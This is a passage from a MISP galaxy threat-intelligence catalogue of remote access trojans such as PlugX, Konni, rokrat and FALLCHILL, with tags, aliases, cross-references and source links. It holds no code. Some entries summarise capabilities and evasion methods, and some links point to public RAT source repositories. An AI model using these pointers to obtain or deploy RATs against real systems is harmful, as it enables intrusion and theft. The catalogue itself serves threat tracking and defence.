4H RAT

4H RAT is malware that has been used by Putter Panda since at least 2007.

The tag is: misp-galaxy:rat="4H RAT"

4H RAT has relationships with:

similar: misp-galaxy:mitre-malware="4H RAT - S0065" with estimative-language:likelihood-probability="likely"

Table 4248. Table References
Links
https://attack.mitre.org/wiki/Software/S0065

Darknet RAT

The tag is: misp-galaxy:rat="Darknet RAT"

Darknet RAT is also known as:

Dark NET RAT

Table 4249. Table References
Links
http://www.connect-trojan.net/2015/06/dark-net-rat-v.0.3.9.0.html

CIA RAT

The tag is: misp-galaxy:rat="CIA RAT"

Minimo

The tag is: misp-galaxy:rat="Minimo"

miniRAT

The tag is: misp-galaxy:rat="miniRAT"

Pain RAT

The tag is: misp-galaxy:rat="Pain RAT"

PlugX

PLUGX is a remote access tool (RAT) used in targeted attacks aimed toward government-related institutions and key industries. It was utilized the same way as Poison Ivy, a RAT involved in a campaign dating back to 2008.

The tag is: misp-galaxy:rat="PlugX"

PlugX is also known as:

Korplug
SOGU
Scontroller

PlugX has relationships with:

similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 4250. Table References
Links
https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX

UNITEDRAKE

The existence of the UNITEDRAKE RAT first came to light in 2014 as part of a series of classified documents leaked by former NSA contractor Edward Snowden.

The tag is: misp-galaxy:rat="UNITEDRAKE"

Table 4251. Table References
Links
http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html
https://www.itnews.com.au/news/shadowbrokers-release-unitedrake-nsa-malware-472771

MegaTrojan

Written in Visual Basic

The tag is: misp-galaxy:rat="MegaTrojan"

Table 4252. Table References
Links
http://www.megasecurity.org/trojans/m/mega/Megatrojan1.0.html

Venomous Ivy

The tag is: misp-galaxy:rat="Venomous Ivy"

Xploit

The tag is: misp-galaxy:rat="Xploit"

Arctic R.A.T.

The tag is: misp-galaxy:rat="Arctic R.A.T."

Arctic R.A.T. is also known as:

Artic

Table 4253. Table References
Links
http://anti-virus-soft.com/threats/artic

GOlden Phoenix

The tag is: misp-galaxy:rat="GOlden Phoenix"

Table 4254. Table References
Links
http://www.connect-trojan.net/2014/02/golden-phoenix-rat-0.2.html

GraphicBooting

The tag is: misp-galaxy:rat="GraphicBooting"

Table 4255. Table References
Links
http://www.connect-trojan.net/2014/10/graphicbooting-rat-v0.1-beta.html?m=0

Pocket RAT

The tag is: misp-galaxy:rat="Pocket RAT"

Erebus

The tag is: misp-galaxy:rat="Erebus"

Erebus has relationships with:

similar: misp-galaxy:malpedia="Erebus (ELF)" with estimative-language:likelihood-probability="likely"

SharpEye

The tag is: misp-galaxy:rat="SharpEye"

Table 4256. Table References
Links
http://www.connect-trojan.net/2014/10/sharpeye-rat-1.0-beta-1.html
http://www.connect-trojan.net/2014/02/sharpeye-rat-1.0-beta-2.html

VorteX

The tag is: misp-galaxy:rat="VorteX"

Archelaus Beta

The tag is: misp-galaxy:rat="Archelaus Beta"

Table 4257. Table References
Links
http://www.connect-trojan.net/2014/02/archelaus-rat-beta.html

BlackHole

C# RAT (Remote Adminitration Tool) - Educational purposes only

The tag is: misp-galaxy:rat="BlackHole"

BlackHole has relationships with:

similar: misp-galaxy:exploit-kit="BlackHole" with estimative-language:likelihood-probability="likely"

Table 4258. Table References
Links
https://github.com/hussein-aitlahcen/BlackHole

Vanguard

The tag is: misp-galaxy:rat="Vanguard"

Table 4259. Table References
Links
http://ktwox7.blogspot.lu/2010/12/vanguard-remote-administration.html

Ahtapod

The tag is: misp-galaxy:rat="Ahtapod"

Table 4260. Table References
Links
http://www.ibtimes.co.uk/turkish-journalist-baris-pehlivan-jailed-terrorism-was-framed-by-hackers-says-report-1577481

FINSPY

Though we have not identified the targets, FINSPY is sold by Gamma Group to multiple nation-state clients, and we assess with moderate confidence that it was being used along with the zero-day to carry out cyber espionage.

The tag is: misp-galaxy:rat="FINSPY"

FINSPY has relationships with:

similar: misp-galaxy:tool="FINSPY" with estimative-language:likelihood-probability="likely"

Table 4261. Table References
Links
https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199_useda.html

Seed RAT

Seed is a firewall bypass plus trojan, injects into default browser and has a simple purpose: to be compact (4kb server size) and useful while uploading bigger and full trojans, or even making Seed download them somewhere. Has computer info, process manager, file manager, with download, create folder, delete, execute and upload. And a remote download function. Everything with a easy to use interface, reminds an instant messenger.

The tag is: misp-galaxy:rat="Seed RAT"

Table 4262. Table References
Links
http://www.nuclearwintercrew.com/Products-View/25/Seed_1.1/

SharpBot

The tag is: misp-galaxy:rat="SharpBot"

TorCT PHP RAT

The tag is: misp-galaxy:rat="TorCT PHP RAT"

Table 4263. Table References
Links
https://github.com/alienwithin/torCT-PHP-RAT

A32s RAT

The tag is: misp-galaxy:rat="A32s RAT"

Char0n

The tag is: misp-galaxy:rat="Char0n"

Nytro

The tag is: misp-galaxy:rat="Nytro"

Syla

The tag is: misp-galaxy:rat="Syla"

Table 4264. Table References
Links
http://www.connect-trojan.net/2013/07/syla-rat-0.3.html

Cobalt Strike

Cobalt Strike is software for Adversary Simulations and Red Team Operations.

The tag is: misp-galaxy:rat="Cobalt Strike"

Cobalt Strike has relationships with:

similar: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"

Table 4265. Table References
Links
https://www.cobaltstrike.com/

Sakula

The RAT, which according to compile timestamps first surfaced in November 2012, has been used in targeted intrusions through 2015. Sakula enables an adversary to run interactive commands as well as to download and execute additional components.

The tag is: misp-galaxy:rat="Sakula"

Sakula is also known as:

Sakurel
VIPER

Sakula has relationships with:

similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 4266. Table References
Links
https://www.secureworks.com/research/sakula-malware-family

hcdLoader

hcdLoader is a remote access tool (RAT) that has been used by APT18.

The tag is: misp-galaxy:rat="hcdLoader"

hcdLoader has relationships with:

similar: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="likely"

Table 4267. Table References
Links
https://attack.mitre.org/wiki/Software/S0071

Crimson

The tag is: misp-galaxy:rat="Crimson"

Crimson has relationships with:

similar: misp-galaxy:mitre-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Crimson" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Crimson RAT" with estimative-language:likelihood-probability="likely"

Table 4268. Table References
Links
http://www.connect-trojan.net/2015/01/crimson-rat-3.0.0.html

KjW0rm

The tag is: misp-galaxy:rat="KjW0rm"

KjW0rm has relationships with:

similar: misp-galaxy:tool="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 4269. Table References
Links
http://hack-defender.blogspot.fr/2015/12/kjw0rm-v05x.html

Ghost

The tag is: misp-galaxy:rat="Ghost"

Ghost is also known as:

Ucul

Table 4270. Table References
Links
https://www.youtube.com/watch?v=xXZW4ajVYkI

9002

The tag is: misp-galaxy:rat="9002"

Sandro RAT

The tag is: misp-galaxy:rat="Sandro RAT"

Mega

The tag is: misp-galaxy:rat="Mega"

WiRAT

The tag is: misp-galaxy:rat="WiRAT"

3PARA RAT

The tag is: misp-galaxy:rat="3PARA RAT"

3PARA RAT has relationships with:

similar: misp-galaxy:mitre-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="likely"

Table 4271. Table References
Links
https://books.google.fr/books?isbn=2212290136

BBS RAT

The tag is: misp-galaxy:rat="BBS RAT"

Konni

KONNI is a remote access Trojan (RAT) that was first reported in May of 2017, but is believed to have been in use for over 3 years. As Part of our daily threat monitoring, FortiGuard Labs came across a new variant of the KONNI RAT and decided to take a deeper look.

The tag is: misp-galaxy:rat="Konni"

Konni is also known as:

KONNI

Konni has relationships with:

similar: misp-galaxy:tool="KONNI" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Konni" with estimative-language:likelihood-probability="likely"

Table 4272. Table References
Links
https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant
https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html
https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/
http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

Felismus RAT

Used by Sowbug

The tag is: misp-galaxy:rat="Felismus RAT"

Table 4273. Table References
Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

Xsser

Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user’s device and executes remote commands as directed by its command-and-control (C2) server.

The tag is: misp-galaxy:rat="Xsser"

Xsser is also known as:

mRAT

Table 4274. Table References
Links
https://blogs.akamai.com/2014/12/ios-and-android-os-targeted-by-man-in-the-middle-attacks.html
http://malware.wikia.com/wiki/Xsser_mRAT

GovRAT

GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.

The tag is: misp-galaxy:rat="GovRAT"

GovRAT has relationships with:

similar: misp-galaxy:malpedia="GovRAT" with estimative-language:likelihood-probability="likely"

Table 4275. Table References
Links
http://securityaffairs.co/wordpress/41714/cyber-crime/govrat-platform.html
http://securityaffairs.co/wordpress/51202/cyber-crime/govrat-2-0-attacks.html

Rottie3

The tag is: misp-galaxy:rat="Rottie3"

Table 4276. Table References
Links
https://www.youtube.com/watch?v=jUg5—68Iqs

Killer RAT

The tag is: misp-galaxy:rat="Killer RAT"

Hi-Zor

The tag is: misp-galaxy:rat="Hi-Zor"

Hi-Zor has relationships with:

similar: misp-galaxy:mitre-malware="Hi-Zor - S0087" with estimative-language:likelihood-probability="likely"

Table 4277. Table References
Links
https://www.fidelissecurity.com/threatgeek/2016/01/introducing-hi-zor-rat

Quaverse

Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim’s computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns.

The tag is: misp-galaxy:rat="Quaverse"

Quaverse is also known as:

QRAT

Table 4278. Table References
Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT—Remote-Access-as-a-Service/

Heseber

The tag is: misp-galaxy:rat="Heseber"

Cardinal

Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it.

The tag is: misp-galaxy:rat="Cardinal"

Cardinal has relationships with:

similar: misp-galaxy:tool="EVILNUM" with estimative-language:likelihood-probability="likely"

Table 4279. Table References
Links
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/
https://www.scmagazine.com/cardinal-rats-unique-downloader-allowed-it-to-avoid-detection-for-years/article/651927/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/cardinal
https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/

OmniRAT

Works on all Android, Windows, Linux and Mac devices!

The tag is: misp-galaxy:rat="OmniRAT"

OmniRAT has relationships with:

similar: misp-galaxy:malpedia="OmniRAT" with estimative-language:likelihood-probability="likely"

Table 4280. Table References
Links
https://omnirat.eu/en/

Jfect

The tag is: misp-galaxy:rat="Jfect"

Table 4281. Table References
Links
https://www.youtube.com/watch?v=qKdoExQFb68

Trochilus

Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed "the Seven Pointed Dagger," managed by another group, "Group 27," who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan’s functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection.

The tag is: misp-galaxy:rat="Trochilus"

Trochilus has relationships with:

similar: misp-galaxy:tool="Trochilus" with estimative-language:likelihood-probability="likely"

Table 4282. Table References
Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
http://securityaffairs.co/wordpress/43889/cyber-crime/new-rat-trochilus.html

Matryoshka

Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.

The tag is: misp-galaxy:rat="Matryoshka"

Matryoshka has relationships with:

similar: misp-galaxy:tool="Matryoshka" with estimative-language:likelihood-probability="likely"

Table 4283. Table References
Links
https://www.alienvault.com/blogs/security-essentials/matryoshka-malware-from-copykittens-group

Mangit

First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan’s infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by "Ric", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim’s browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim’s browsers and push pop-ups to the victim asking for the verification code they just received.

The tag is: misp-galaxy:rat="Mangit"

Table 4284. Table References
Links
http://virusguides.com/newly-discovered-mangit-malware-offers-banking-trojan-service/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/mangit
http://news.softpedia.com/news/new-malware-mangit-surfaces-as-banking-trojan-as-a-service-505458.shtml

LeGeNd

The tag is: misp-galaxy:rat="LeGeNd"

Table 4285. Table References
Links
http://www.connect-trojan.net/2016/08/legend-rat-v1.3-by-ahmed-ibrahim.html
http://www.connect-trojan.net/2016/11/legend-rat-v1.9-by-ahmed-ibrahim.html

Revenge-RAT

Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.

The tag is: misp-galaxy:rat="Revenge-RAT"

Table 4286. Table References
Links
http://www.securitynewspaper.com/2016/08/31/unsophisticated-revenge-rat-released-online-free-exclusive/

vjw0rm 0.1

The tag is: misp-galaxy:rat="vjw0rm 0.1"

Table 4287. Table References
Links
https://twitter.com/malwrhunterteam/status/816993165119016960?lang=en

rokrat

ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco’s Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of "kgf2016@yonsei.ac.kr," the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, "Request Help" and attached malicious HWP filename, "I’m a munchon person in Gangwon-do, North Korea." The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.

The tag is: misp-galaxy:rat="rokrat"

rokrat is also known as:

ROKRAT

Table 4288. Table References
Links
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html

Qarallax

Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).

The tag is: misp-galaxy:rat="Qarallax"

Qarallax is also known as:

qrat

Qarallax has relationships with:

similar: misp-galaxy:tool="qrat" with estimative-language:likelihood-probability="likely"

Table 4289. Table References
Links
https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/

MoonWind

MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.

The tag is: misp-galaxy:rat="MoonWind"

MoonWind has relationships with:

similar: misp-galaxy:mitre-malware="MoonWind - S0149" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"

Table 4290. Table References
Links
https://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/wiki/Software/S0149

Remcos

Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we’ve seen its payload being distributed in the wild for the first time.

The tag is: misp-galaxy:rat="Remcos"

Remcos has relationships with:

similar: misp-galaxy:malpedia="Remcos" with estimative-language:likelihood-probability="likely"

Table 4291. Table References
Links
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html

Client Maximus

The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims’ web navigation and interrupt online banking session at will. After taking over a victim’s banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.

The tag is: misp-galaxy:rat="Client Maximus"

Client Maximus has relationships with:

similar: misp-galaxy:malpedia="Client Maximus" with estimative-language:likelihood-probability="likely"

Table 4292. Table References
Links
https://securityintelligence.com/client-maximus-new-remote-overlay-malware-highlights-rising-malcode-sophistication-in-brazil/

TheFat RAT

Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most…

The tag is: misp-galaxy:rat="TheFat RAT"

Table 4293. Table References
Links
https://github.com/Screetsec/TheFatRat

RedLeaves

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

The tag is: misp-galaxy:rat="RedLeaves"

RedLeaves has relationships with:

similar: misp-galaxy:mitre-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"

Table 4294. Table References
Links
http://blog.jpcert.or.jp/2017/04/redleaves---malware-based-on-open-source-rat.html

Rurktar

Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.

The tag is: misp-galaxy:rat="Rurktar"

Rurktar has relationships with:

similar: misp-galaxy:malpedia="Rurktar" with estimative-language:likelihood-probability="likely"

Table 4295. Table References
Links
http://www.securityweek.com/rurktar-malware-espionage-tool-development

RATAttack

RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim’s machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot’s Telegram token into the trojan’s configuration file. When a system is infected with RATAttack, it connects to the bot’s Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan’s code was available on GitHub then was taken down by the author on April 19, 2017.

The tag is: misp-galaxy:rat="RATAttack"

Table 4296. Table References
Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/ratattack

KhRAT

So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.

The tag is: misp-galaxy:rat="KhRAT"

Table 4297. Table References
Links
https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/

RevCode

The tag is: misp-galaxy:rat="RevCode"

Table 4298. Table References
Links
https://revcode.eu/

AhNyth Android

Android Remote Administration Tool

The tag is: misp-galaxy:rat="AhNyth Android"

Table 4299. Table References
Links
https://github.com/AhMyth/AhMyth-Android-RAT

Socket23

SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’

The tag is: misp-galaxy:rat="Socket23"

Table 4300. Table References
Links
https://www.virusbulletin.com/uploads/pdf/magazine/1999/199908.pdf

PowerRAT

The tag is: misp-galaxy:rat="PowerRAT"

MacSpy

Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the "most sophisticated Mac spyware ever", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.

The tag is: misp-galaxy:rat="MacSpy"

MacSpy has relationships with:

similar: misp-galaxy:malpedia="MacSpy" with estimative-language:likelihood-probability="likely"

Table 4301. Table References
Links
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service
https://objective-see.com/blog/blog_0x25.html

DNSMessenger

Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

The tag is: misp-galaxy:rat="DNSMessenger"

DNSMessenger has relationships with:

similar: misp-galaxy:mitre-malware="TEXTMATE - S0146" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:mitre-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 4302. Table References
Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html

PentagonRAT

The tag is: misp-galaxy:rat="PentagonRAT"

Table 4303. Table References
Links
http://pentagon-rat.blogspot.fr/

NewCore

NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.

The tag is: misp-galaxy:rat="NewCore"

Table 4304. Table References
Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/newcore
https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations

Deeper RAT

The tag is: misp-galaxy:rat="Deeper RAT"

Xyligan

The tag is: misp-galaxy:rat="Xyligan"

H-w0rm

The tag is: misp-galaxy:rat="H-w0rm"

htpRAT

On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands.

The tag is: misp-galaxy:rat="htpRAT"

htpRAT has relationships with:

similar: misp-galaxy:malpedia="htpRAT" with estimative-language:likelihood-probability="likely"

Table 4305. Table References
Links
https://cdn.riskiq.com/wp-content/uploads/2017/10/RiskIQ-htpRAT-Malware-Attacks.pdf?_ga=2.159415805.1155855406.1509033001-1017609577.1507615928

FALLCHILL

According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.

The tag is: misp-galaxy:rat="FALLCHILL"

FALLCHILL has relationships with:

similar: misp-galaxy:mitre-malware="FALLCHILL - S0181" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"

Table 4306. Table References
Links
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://securelist.com/operation-applejeus/87553/

UBoatRAT

Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics. Targets personnel or organizations related to South Korea or video games industry Distributes malware through Google Drive Obtains C2 address from GitHub Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.

The tag is: misp-galaxy:rat="UBoatRAT"

Table 4307. Table References
Links
https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/

CrossRat

The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”

The tag is: misp-galaxy:rat="CrossRat"

Table 4308. Table References
Links
https://digitasecurity.com/blog/2018/01/23/crossrat/

TSCookieRAT

TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.) The data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.

The tag is: misp-galaxy:rat="TSCookieRAT"

Table 4309. Table References
Links
http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html

Coldroot

Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years. The RAT appears to have been created as a joke, "to Play with Mac users," and "give Mac it’s rights in this [the RAT] field," but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.

The tag is: misp-galaxy:rat="Coldroot"

Table 4310. Table References
Links
https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/
https://github.com/xlinshan/Coldroot

Comnie

Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.

The tag is: misp-galaxy:rat="Comnie"

Table 4311. Table References
Links
https://exchange.xforce.ibmcloud.com/collection/East-Asia-Organizations-Victims-of-Comnie-Attack-12749a9dbc20e2f40b3ae99c43416d8c
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

GravityRAT

